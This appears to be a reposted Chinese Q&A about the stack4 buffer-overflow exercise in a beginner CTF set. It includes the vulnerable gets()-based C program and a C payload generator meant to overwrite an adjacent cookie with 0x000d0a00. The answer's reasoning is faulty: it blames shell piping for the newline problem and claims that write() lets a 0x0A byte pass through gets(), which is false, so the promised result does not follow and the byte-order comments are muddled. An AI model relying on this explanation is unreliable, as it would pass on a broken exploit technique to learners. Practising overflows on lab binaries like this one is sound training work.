如何解决含换行的CTF栈溢出漏洞？gets()函数限制难题

问题描述 #

我是CTF新手，在完成gerasdf的InsecureProgramming练习时，stack1-3都顺利解决，但卡在了stack4。题目要求通过缓冲区溢出，将程序里相邻变量cookie的值覆盖为0x000d0a00。程序使用gets()读取输入，我按照前几题的思路写了payload生成脚本，把payload输出到文件时内容完全正确，但通过管道传给stack4程序时，gets()遇到\x0A（换行符）就停止读取，根本没法把换行符写入内存覆盖cookie。

stack4程序代码 #

#include <stdio.h>

int main() {
    int cookie;
    char buf[80];

    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    printf("%x\n", cookie); // 自行添加的调试行

    if (cookie == 0x000d0a00)
        printf("you win!\n");
}

编译命令 #

gcc stack4.c -fno-stack-protector -o stack4

问题根源 #

gets()函数的特性是遇到换行符\n（ASCII值0x0A）或者EOF就会停止读取输入。而通过管道传递payload时，shell会把换行符当作输入的结束标记，导致gets()提前终止，无法将包含换行符的完整payload写入缓冲区，自然没法覆盖cookie到目标值。

解决方案 #

用C语言写一个payload生成程序，直接通过write()系统调用输出字节流——系统调用不会对输出的字节做任何转义或截断处理，能完整把包含换行符的payload传递给stack4。

解决方案脚本（stack4_solution.c） #

#include <stdio.h>
#include <unistd.h>

int main() {
    // 92个'A'，刚好填满buf+覆盖到cookie前的内存区域
    char s[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    // 对应0x0A0D（小端序，最终内存里是0x000D0A00的后三个字节）
    int nlcr = 0x0D0A;

    // 写入92个'A'和末尾的\x00
    write(STDOUT_FILENO, s, sizeof(s));
    // 写入\x0A\x0D和\x00，凑成完整的0x000D0A00覆盖cookie
    write(STDOUT_FILENO, (void*)&nlcr, 3);
    fflush(stdout);
}

执行步骤 #

1. 编译解决方案脚本：

gcc stack4_solution.c -o stack4_solution

2. 通过管道传递payload给stack4：

./stack4_solution | ./stack4

这样就能绕过gets()的换行截断问题，成功将cookie覆盖为0x000d0a00，触发you win!提示。

内容的提问来源于stack exchange，提问作者aitatata